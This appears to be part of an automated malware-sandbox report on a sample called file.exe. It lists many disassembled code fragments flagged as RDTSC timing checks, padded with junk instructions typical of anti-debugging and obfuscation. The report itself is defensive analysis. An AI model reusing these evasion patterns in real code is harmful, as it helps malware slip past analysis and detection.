Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C299 second address: A4C2F8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB9C8B8B506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c stc 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FB9C8B8B508h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov bl, FFh 0x0000002b push 00000000h 0x0000002d jno 00007FB9C8B8B515h 0x00000033 xchg eax, esi 0x00000034 js 00007FB9C8B8B50Eh 0x0000003a push eax 0x0000003b jnc 00007FB9C8B8B506h 0x00000041 pop eax 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C2F8 second address: A4C2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C2FC second address: A4C30D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8B8B50Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C30D second address: A4C312 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E1E5 second address: A4E1EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E1EB second address: A4E2A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB9C8D34AF8h 0x0000000e nop 0x0000000f jo 00007FB9C8D34AECh 0x00000015 mov ebx, dword ptr [ebp+122D2561h] 0x0000001b xor dword ptr [ebp+122D19B4h], ebx 0x00000021 push dword ptr fs:[00000000h] 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007FB9C8D34AE8h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 mov edi, ecx 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov di, si 0x0000004e mov eax, dword ptr [ebp+122D11EDh] 0x00000054 push 00000000h 0x00000056 push edx 0x00000057 call 00007FB9C8D34AE8h 0x0000005c pop edx 0x0000005d mov dword ptr [esp+04h], edx 0x00000061 add dword ptr [esp+04h], 0000001Ch 0x00000069 inc edx 0x0000006a push edx 0x0000006b ret 0x0000006c pop edx 0x0000006d ret 0x0000006e mov ebx, 2C1A5093h 0x00000073 and edi, dword ptr [ebp+1245C4F8h] 0x00000079 push FFFFFFFFh 0x0000007b jp 00007FB9C8D34AF2h 0x00000081 push eax 0x00000082 jng 00007FB9C8D34AEEh 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50066 second address: A5006B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04A4F second address: A04A59 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB9C8D34AE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5017E second address: A50188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB9C8B8B506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54D96 second address: A54DA0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB9C8D34AE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54DA0 second address: A54DA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56079 second address: A56082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58EC5 second address: A58F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FB9C8B8B508h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000000h 0x00000023 pushad 0x00000024 jmp 00007FB9C8B8B512h 0x00000029 pushad 0x0000002a sub dword ptr [ebp+122D1B61h], eax 0x00000030 call 00007FB9C8B8B50Eh 0x00000035 pop ebx 0x00000036 popad 0x00000037 popad 0x00000038 push 00000000h 0x0000003a or edi, dword ptr [ebp+122D1C22h] 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 jmp 00007FB9C8B8B516h 0x00000047 jmp 00007FB9C8B8B511h 0x0000004c popad 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jns 00007FB9C8B8B506h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58F5B second address: A58F65 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB9C8D34AE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58019 second address: A5801D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AF8B second address: A5AF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B199 second address: A5B1A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B1A3 second address: A5B1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B1A7 second address: A5B1AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A627D0 second address: A627EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8D34AF6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A627EC second address: A627F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6711A second address: A67158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FB9C8D34AEBh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007FB9C8D34AF6h 0x00000017 jmp 00007FB9C8D34AEBh 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67234 second address: A67238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67238 second address: A67287 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44100h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FB9C8C440FDh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007FB9C8C440FBh 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007FB9C8C440FDh 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jng 00007FB9C8C44100h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6734F second address: A67354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67354 second address: A6735A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E2CA second address: A6E2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E2CE second address: A6E2E9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FB9C8C440FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jno 00007FB9C8C440F6h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E2E9 second address: A6E2FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jo 00007FB9C8C44CF6h 0x0000000d popad 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CEAE second address: A6CEB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FB9C8C440F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D738 second address: A6D781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44D09h 0x00000007 jnc 00007FB9C8C44CF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jc 00007FB9C8C44CF6h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jne 00007FB9C8C44CF6h 0x0000001e popad 0x0000001f push esi 0x00000020 jmp 00007FB9C8C44D03h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D781 second address: A6D78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnp 00007FB9C8C440FEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D78E second address: A6D7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 jmp 00007FB9C8C44D04h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D930 second address: A6D942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB9C8C440F6h 0x0000000a je 00007FB9C8C440F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6DE10 second address: A6DE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB9C8C44CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6DE1A second address: A6DE4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jne 00007FB9C8C440FCh 0x00000012 jbe 00007FB9C8C440F6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e jmp 00007FB9C8C440FBh 0x00000023 jbe 00007FB9C8C440F6h 0x00000029 popad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6DE4D second address: A6DE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB9C8C44CF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E14A second address: A6E155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E155 second address: A6E15B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E15B second address: A6E167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB9C8C440F6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73696 second address: A7369E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7369E second address: A736BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007FB9C8C440F6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pushad 0x0000000f push eax 0x00000010 jmp 00007FB9C8C440FAh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A736BA second address: A736C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A736C2 second address: A736CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73ACD second address: A73AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73AD3 second address: A73ADD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB9C8C440F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73ADD second address: A73B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB9C8C44D07h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB9C8C44CFDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73B09 second address: A73B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73B0D second address: A73B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB9C8C44CFCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7406E second address: A74089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44101h 0x00000007 js 00007FB9C8C440F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74089 second address: A740AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FB9C8C44CF6h 0x00000009 jmp 00007FB9C8C44D06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74344 second address: A7437D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C440FAh 0x00000007 jp 00007FB9C8C4410Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB9C8C440FCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A744C2 second address: A744CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A744CB second address: A744D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A744D7 second address: A744DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC351 second address: 9FC36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8C44107h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74A5B second address: A74A7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44D07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7336F second address: A73374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73374 second address: A7337C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7337C second address: A73380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73380 second address: A73384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73384 second address: A7338A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A783EC second address: A783F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E530 second address: A3E535 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E8DF second address: A3E912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44D05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007FB9C8C44D0Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB9C8C44D01h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EB71 second address: A3EB97 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB9C8C440F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007FB9C8C44106h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EB97 second address: A3EBB4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB9C8C44CFCh 0x00000008 jne 00007FB9C8C44CF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FB9C8C44CF6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F14F second address: A3F19E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FB9C8C440F8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov ch, dh 0x00000023 mov edi, dword ptr [ebp+122D2AA5h] 0x00000029 push 0000001Eh 0x0000002b cld 0x0000002c nop 0x0000002d push ebx 0x0000002e jg 00007FB9C8C440F8h 0x00000034 pop ebx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jnl 00007FB9C8C440FCh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F19E second address: A3F1A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F594 second address: A3F59E instructions: 0x00000000 rdtsc 0x00000002 je 00007FB9C8C440F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F59E second address: A3F606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8C44D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB9C8C44D01h 0x00000010 pop edx 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D2AF6h], eax 0x00000018 lea eax, dword ptr [ebp+1248006Fh] 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FB9C8C44CF8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 push eax 0x00000039 push ecx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F606 second address: A3F60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F60C second address: A3F67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FB9C8C44CF8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 lea eax, dword ptr [ebp+1248002Bh] 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FB9C8C44CF8h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 add cx, D2EBh 0x00000048 jmp 00007FB9C8C44D07h 0x0000004d nop 0x0000004e push eax 0x0000004f push edx 0x00000050 push ebx 0x00000051 pushad 0x00000052 popad 0x00000053 pop ebx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F67B second address: A3F680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FAE6 second address: A7FAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FAEA second address: A7FAEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FAEE second address: A7FAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB9C8C44CFEh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FD7F second address: A7FD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8C440FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FD8E second address: A7FD92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FD92 second address: A7FDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB9C8C440FEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8516E second address: A85175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85175 second address: A8517B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8517B second address: A85194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB9C8C44CFCh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
